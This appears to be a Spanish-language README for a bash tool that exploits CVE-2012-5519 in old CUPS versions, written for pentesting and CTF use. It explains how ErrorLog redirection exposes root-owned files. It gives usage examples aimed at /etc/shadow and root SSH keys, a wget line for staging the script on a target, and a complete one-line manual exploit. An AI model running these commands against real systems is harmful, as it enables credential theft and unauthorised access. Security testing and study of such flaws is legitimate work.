p1ckzi/cve-2012-5519cups-root-file-read.sh | CVE-2012-5519
una implementación en bash del módulo 'cups_root_file_read.rb' de metasploit diseñada para pentesting y CTFs.
principalmente un pequeño ejercicio de scripting en bash. pensado para ser un programa autocontenido que explota CVE-2012-5519 en sistemas linux;
proporciona al usuario un prompt interactivo, permitiéndole leer rápidamente múltiples archivos restringidos.
este script explota una vulnerabilidad en CUPS (sistema común de impresión UNIX) < 1.6.2.
CUPS permite a los usuarios del grupo lpadmin realizar cambios en el archivo cupsd.conf mediante el comando cupsctl.
este comando también permite al usuario especificar una ruta de ErrorLog.
cuando el usuario visita la página '/admin/log/error_log', el demonio cupsd ejecutándose con SUID de root lee la ruta de ErrorLog y la muestra en texto plano.
en resumen, los archivos propiedad del usuario root pueden leerse si la ruta de ErrorLog se dirige allí.
el script realiza una serie de comprobaciones antes de pasar el prompt al usuario; sin embargo, todos los requisitos incluyen:
wget o nc, debido a limitaciones de tiempo.cupsctl está disponible, etc...se asume que el script se utilizará para fines de pentesting y eventos CTF. coloque el script en la máquina objetivo. esto puede hacerse de varias maneras. un método común desde la máquina objetivo:
wget http://[my ip]:[my port]/cups-root-file-read.sh
cups-root-file-read.sh no requiere ningún argumento o flag, pero tiene dos opcionales:
./cups-root-file-read.sh -h
./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
-a, --accessible: turns off features which may negatively affect
screen readers.
-h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow etc...
ejecutar con:
bash cups-root-file-read.sh
o
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
o si solo quiere leer un único archivo:
echo '/etc/shadow' | ./cups-root-file-read.sh
después de pasar las comprobaciones iniciales de funcionalidad y vulnerabilidad, se proporciona al usuario un prompt que le permite escribir una ruta absoluta a un archivo existente. el contenido de cada archivo se imprimirá en la terminal.
aunque el script puede usarse para comprobar archivos restringidos y leerlos, es más útil si el usuario ya sabe de la existencia de archivos restringidos que pueda querer ver. por ejemplo:
hay algunas limitaciones en el script y el exploit. y hasta donde sé, el módulo 'cups_root_file_read.rb' para metasploit también sufre estas mismas limitaciones.
la entrada del usuario debe ser una ruta absoluta a un archivo existente que el usuario quiera ver y no debe contener espacios en blanco en ningún lugar del archivo o la ruta. esto se debe a que el comando cupsctl no puede manejar correctamente los caracteres de espacio en blanco incluso con comillas (ej. ErrorLog='/path to/file.txt') y separará la entrada en los caracteres de espacio en blanco en directivas separadas, con el valor booleano de 'true'.
el ejemplo anterior, si se envía, se escribiría en el archivo cupsd.conf como:
ErrorLog=/path
to/file.txt=true
esto lanza errores que se escriben en el registro de errores, que pueden ser archivos importantes si se especifican en la ruta de ErrorLog en un intento exitoso anterior de leer un archivo. Por lo tanto, el script comprueba los espacios en blanco y los filtra.
a pesar de las comprobaciones para asegurarse de que el usuario envía algo que se asemeja a una ruta y archivo absolutos, no todos los errores pueden detectarse antes de pasarse al servidor con el comando cupsctl:
los archivos existentes dentro del directorio raíz pueden leerse (ej. '/file.txt'), pero también pueden enviarse directorios unix comunes como '/tmp' y '/root' (ya sea a propósito o por error del usuario). no hay una captura para dichos directorios del sistema y estos devolverán códigos de estado 404 del servidor. el usuario es informado de estos.
los directorios inexistentes especificados en la ruta (ej. '/tmp/non-existent-directory/file.txt') también resultarán en un código de estado 404 devuelto por el servidor.
intentar ver archivos inexistentes (ej. '/root/non-existent-file.txt') resultará en su creación como el nuevo registro de errores. el usuario es informado de esto en la salida y de que el archivo vacío puede haber sido creado por el script de exploit si no estaba ya allí anteriormente. siempre existe la posibilidad de que estos archivos vacíos hayan sido creados por un usuario del sistema con cualquier propósito aproximadamente al mismo tiempo en que se ejecutó el script, por lo que no se eliminan.
aunque linux tiene comandos para comprobar si un archivo o directorio existe, esta funcionalidad no se ha implementado en el script antes de que la entrada del usuario se pase al comando cupsctl, ya que los comandos de comprobación no funcionan si un archivo o directorio existe en un lugar fuera de los límites del usuario actual (ej. '/root') por razones de seguridad obvias. dado que el script está diseñado para leer tales archivos fuera de límites, tal funcionalidad sería inútil.
a veces pueden ocurrir errores de cupsctl al realizar cambios, ya sea manualmente o mediante cups-root-file-read.sh. aunque cups-root-file-read.sh maneja entradas de usuario inusuales y algunos errores, estos errores de cupsctl que ocurren al realizar cambios en el archivo cupsd.conf o al solicitar la página web no se manejan. cups-root-file-read.sh simplemente saldrá. en estos casos, el script puede iniciarse de nuevo y se puede hacer otro intento.
el script fue principalmente un ejercicio para crear un programa corto, completo y autocontenido para un solo exploit, teniendo en cuenta tanto la legibilidad como la accesibilidad.
el script está pensado para comprobar la presencia de CVE-2012-5519 y luego leer múltiples archivos restringidos de forma rápida y sencilla durante la explotación. para ese propósito, siento que es significativamente más rápido que el módulo de metasploit y que escribir un comando manual y editarlo repetidamente (eso espero). pero dicho esto, si el usuario sabe que la máquina objetivo es vulnerable, se puede lograr el mismo resultado con algo como:
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'
a partir de 2022, este exploit tiene 10 años. si la máquina objetivo también es antigua, es posible que las versiones de los diversos comandos utilizados dentro del script no tengan la funcionalidad que ahora tienen. esto también podría aplicarse a la versión de bash. desafortunadamente, estuve limitado por el tiempo y no pude probar el script en una gama más amplia de entornos. puede ser más útil para CTFs.
originalmente el script iba a crearse con python3, sin embargo me he encontrado con varias ocasiones en las que python2 y python3 no estaban disponibles para el usuario después de obtener acceso a un sistema como usuario sin privilegios. bash está casi siempre disponible en un sistema linux, así como los comandos linux comunes, por lo que una implementación en bash parecía la opción más segura.
los comandos integrados de bash se utilizan tanto como es posible, sin embargo el script depende de algunos comandos externos como sort, head y curl (y por supuesto cupsctl utilizado como parte del exploit). actualmente no hay comprobaciones para estos comandos ni alternativa debido a limitaciones de tiempo. el script fallará si estos comandos no están disponibles :(
https://argbash.io - por la ayuda con los argumentos iniciales del script.
https://skerritt.blog/a11y/ - implementación de accesibilidad.